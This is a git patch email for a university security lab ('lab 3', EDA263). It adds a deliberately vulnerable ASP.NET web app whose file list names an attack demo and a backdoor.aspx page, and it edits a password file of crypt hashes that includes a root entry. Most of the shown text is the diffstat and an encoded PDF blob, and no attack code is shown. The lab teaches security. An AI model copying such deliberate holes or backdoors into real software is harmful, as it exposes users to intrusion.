From ce326eab270eb87c7047755c225f97b5776ac080 Mon Sep 17 00:00:00 2001 From: schulze Date: Wed, 23 Feb 2022 14:05:00 +0100 Subject: [PATCH] lab 3 --- lab1/passdb | 2 +- lab3/EDA263_Assignment_III.pdf | Bin 0 -> 143546 bytes lab3/cs_lab3.zip | Bin 0 -> 298675 bytes lab3/cs_lab3/myWebApplication.sln | 20 + lab3/cs_lab3/myWebApplication.suo | Bin 0 -> 153088 bytes .../Account/ChangePassword.aspx | 60 + .../Account/ChangePassword.aspx.cs | 17 + .../Account/ChangePassword.aspx.designer.cs | 26 + .../Account/ChangePasswordSuccess.aspx | 13 + .../Account/ChangePasswordSuccess.aspx.cs | 17 + .../ChangePasswordSuccess.aspx.designer.cs | 17 + .../myWebApplication/Account/Login.aspx | 49 + .../myWebApplication/Account/Login.aspx.cs | 17 + .../Account/Login.aspx.designer.cs | 35 + .../myWebApplication/Account/Register.aspx | 75 + .../myWebApplication/Account/Register.aspx.cs | 32 + .../Account/Register.aspx.designer.cs | 35 + .../myWebApplication/Account/Web.config | 18 + lab3/cs_lab3/myWebApplication/Buyform.ascx | 13 + lab3/cs_lab3/myWebApplication/Buyform.ascx.cs | 22 + .../myWebApplication/Buyform.ascx.designer.cs | 78 + lab3/cs_lab3/myWebApplication/Demo/Attack.txt | 1 + .../Demo/Demoinstruktioner.txt | 20 + .../myWebApplication/Demo/backdoor.aspx | 47 + lab3/cs_lab3/myWebApplication/Feedback.aspx | 56 + .../cs_lab3/myWebApplication/Feedback.aspx.cs | 41 + .../Feedback.aspx.designer.cs | 114 + lab3/cs_lab3/myWebApplication/Global.asax | 1 + lab3/cs_lab3/myWebApplication/Global.asax.cs | 47 + lab3/cs_lab3/myWebApplication/Helpers.cs | 27 + .../Properties/AssemblyInfo.cs | 35 + lab3/cs_lab3/myWebApplication/SQLaccess.cs | 131 + .../Scripts/jquery-1.4.1-vsdoc.js | 8061 +++++++++++++++++ .../myWebApplication/Scripts/jquery-1.4.1.js | 6111 +++++++++++++ .../Scripts/jquery-1.4.1.min.js | 167 + lab3/cs_lab3/myWebApplication/Styles/Site.css | 400 + lab3/cs_lab3/myWebApplication/Thankyou.ascx | 3 + .../cs_lab3/myWebApplication/Thankyou.ascx.cs | 22 + .../Thankyou.ascx.designer.cs | 24 + lab3/cs_lab3/myWebApplication/Uploadfile.ascx | 15 + .../myWebApplication/Uploadfile.ascx.cs | 44 + .../Uploadfile.ascx.designer.cs | 60 + .../myWebApplication/ViewComments.ascx | 52 + .../myWebApplication/ViewComments.ascx.cs | 17 + .../ViewComments.ascx.designer.cs | 33 + .../cs_lab3/myWebApplication/Web.Debug.config | 30 + .../myWebApplication/Web.Release.config | 31 + lab3/cs_lab3/myWebApplication/Web.config | 53 + .../cs_lab3/myWebApplication/WriteCookie.aspx | 16 + .../myWebApplication/WriteCookie.aspx.cs | 24 + .../WriteCookie.aspx.designer.cs | 26 + lab3/cs_lab3/myWebApplication/apa.jpg | Bin 0 -> 45433 bytes lab3/cs_lab3/myWebApplication/default.aspx | 67 + lab3/cs_lab3/myWebApplication/default.aspx.cs | 72 + .../myWebApplication/default.aspx.designer.cs | 123 + .../myWebApplication/images/header.png | Bin 0 -> 18844 bytes lab3/cs_lab3/myWebApplication/images/sdm.jpg | Bin 0 -> 11798 bytes .../myWebApplication/images/sdm_flat.jpg | Bin 0 -> 9865 bytes .../myWebApplication/images/sdm_jackblack.jpg | Bin 0 -> 31388 bytes .../myWebApplication/images/sdm_skull.jpg | Bin 0 -> 6108 bytes lab3/cs_lab3/myWebApplication/login.aspx | 44 + lab3/cs_lab3/myWebApplication/login.aspx.cs | 48 + .../myWebApplication/login.aspx.designer.cs | 69 + .../myVulnappDBDataSet.Designer.cs | 242 + .../myWebApplication/myVulnappDBDataSet.cs | 3 + .../myWebApplication/myVulnappDBDataSet.xsc | 1 + .../myWebApplication/myVulnappDBDataSet.xsd | 19 + .../myWebApplication/myVulnappDBDataSet.xss | 1 + .../myWebApplication/myWebApplication.csproj | 232 + .../myWebApplication.csproj.user | 30 + 70 files changed, 17205 insertions(+), 1 deletion(-) create mode 100644 lab3/EDA263_Assignment_III.pdf create mode 100644 lab3/cs_lab3.zip create mode 100644 lab3/cs_lab3/myWebApplication.sln create mode 100644 lab3/cs_lab3/myWebApplication.suo create mode 100644 lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx create mode 100644 lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx.cs create mode 100644 lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx.designer.cs create mode 100644 lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx create mode 100644 lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx.cs create mode 100644 lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx.designer.cs create mode 100644 lab3/cs_lab3/myWebApplication/Account/Login.aspx create mode 100644 lab3/cs_lab3/myWebApplication/Account/Login.aspx.cs create mode 100644 lab3/cs_lab3/myWebApplication/Account/Login.aspx.designer.cs create mode 100644 lab3/cs_lab3/myWebApplication/Account/Register.aspx create mode 100644 lab3/cs_lab3/myWebApplication/Account/Register.aspx.cs create mode 100644 lab3/cs_lab3/myWebApplication/Account/Register.aspx.designer.cs create mode 100644 lab3/cs_lab3/myWebApplication/Account/Web.config create mode 100644 lab3/cs_lab3/myWebApplication/Buyform.ascx create mode 100644 lab3/cs_lab3/myWebApplication/Buyform.ascx.cs create mode 100644 lab3/cs_lab3/myWebApplication/Buyform.ascx.designer.cs create mode 100644 lab3/cs_lab3/myWebApplication/Demo/Attack.txt create mode 100644 lab3/cs_lab3/myWebApplication/Demo/Demoinstruktioner.txt create mode 100644 lab3/cs_lab3/myWebApplication/Demo/backdoor.aspx create mode 100644 lab3/cs_lab3/myWebApplication/Feedback.aspx create mode 100644 lab3/cs_lab3/myWebApplication/Feedback.aspx.cs create mode 100644 lab3/cs_lab3/myWebApplication/Feedback.aspx.designer.cs create mode 100644 lab3/cs_lab3/myWebApplication/Global.asax create mode 100644 lab3/cs_lab3/myWebApplication/Global.asax.cs create mode 100644 lab3/cs_lab3/myWebApplication/Helpers.cs create mode 100644 lab3/cs_lab3/myWebApplication/Properties/AssemblyInfo.cs create mode 100644 lab3/cs_lab3/myWebApplication/SQLaccess.cs create mode 100644 lab3/cs_lab3/myWebApplication/Scripts/jquery-1.4.1-vsdoc.js create mode 100644 lab3/cs_lab3/myWebApplication/Scripts/jquery-1.4.1.js create mode 100644 lab3/cs_lab3/myWebApplication/Scripts/jquery-1.4.1.min.js create mode 100644 lab3/cs_lab3/myWebApplication/Styles/Site.css create mode 100644 lab3/cs_lab3/myWebApplication/Thankyou.ascx create mode 100644 lab3/cs_lab3/myWebApplication/Thankyou.ascx.cs create mode 100644 lab3/cs_lab3/myWebApplication/Thankyou.ascx.designer.cs create mode 100644 lab3/cs_lab3/myWebApplication/Uploadfile.ascx create mode 100644 lab3/cs_lab3/myWebApplication/Uploadfile.ascx.cs create mode 100644 lab3/cs_lab3/myWebApplication/Uploadfile.ascx.designer.cs create mode 100644 lab3/cs_lab3/myWebApplication/ViewComments.ascx create mode 100644 lab3/cs_lab3/myWebApplication/ViewComments.ascx.cs create mode 100644 lab3/cs_lab3/myWebApplication/ViewComments.ascx.designer.cs create mode 100644 lab3/cs_lab3/myWebApplication/Web.Debug.config create mode 100644 lab3/cs_lab3/myWebApplication/Web.Release.config create mode 100644 lab3/cs_lab3/myWebApplication/Web.config create mode 100644 lab3/cs_lab3/myWebApplication/WriteCookie.aspx create mode 100644 lab3/cs_lab3/myWebApplication/WriteCookie.aspx.cs create mode 100644 lab3/cs_lab3/myWebApplication/WriteCookie.aspx.designer.cs create mode 100644 lab3/cs_lab3/myWebApplication/apa.jpg create mode 100644 lab3/cs_lab3/myWebApplication/default.aspx create mode 100644 lab3/cs_lab3/myWebApplication/default.aspx.cs create mode 100644 lab3/cs_lab3/myWebApplication/default.aspx.designer.cs create mode 100644 lab3/cs_lab3/myWebApplication/images/header.png create mode 100644 lab3/cs_lab3/myWebApplication/images/sdm.jpg create mode 100644 lab3/cs_lab3/myWebApplication/images/sdm_flat.jpg create mode 100644 lab3/cs_lab3/myWebApplication/images/sdm_jackblack.jpg create mode 100644 lab3/cs_lab3/myWebApplication/images/sdm_skull.jpg create mode 100644 lab3/cs_lab3/myWebApplication/login.aspx create mode 100644 lab3/cs_lab3/myWebApplication/login.aspx.cs create mode 100644 lab3/cs_lab3/myWebApplication/login.aspx.designer.cs create mode 100644 lab3/cs_lab3/myWebApplication/myVulnappDBDataSet.Designer.cs create mode 100644 lab3/cs_lab3/myWebApplication/myVulnappDBDataSet.cs create mode 100644 lab3/cs_lab3/myWebApplication/myVulnappDBDataSet.xsc create mode 100644 lab3/cs_lab3/myWebApplication/myVulnappDBDataSet.xsd create mode 100644 lab3/cs_lab3/myWebApplication/myVulnappDBDataSet.xss create mode 100644 lab3/cs_lab3/myWebApplication/myWebApplication.csproj create mode 100644 lab3/cs_lab3/myWebApplication/myWebApplication.csproj.user diff --git a/lab1/passdb b/lab1/passdb index 07169ff..56f2e4e 100644 --- a/lab1/passdb +++ b/lab1/passdb @@ -1,4 +1,4 @@ -test:123452345:12JvVkeJRgm8A:12:0:12 +test:123452345:12JvVkeJRgm8A:12:0:19 user:223452345234:eePlF4X0jdYYM:ee:0:0 felix:323453245:aa9rcO1hTpP/I:aa:11:5 root:0:aa9rcO1hTpP/I:aa:0:7 diff --git a/lab3/EDA263_Assignment_III.pdf b/lab3/EDA263_Assignment_III.pdf new file mode 100644 index 0000000000000000000000000000000000000000..c88715115dee7c1ea49fde548ec16c45a04a04cf GIT binary patch literal 143546 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 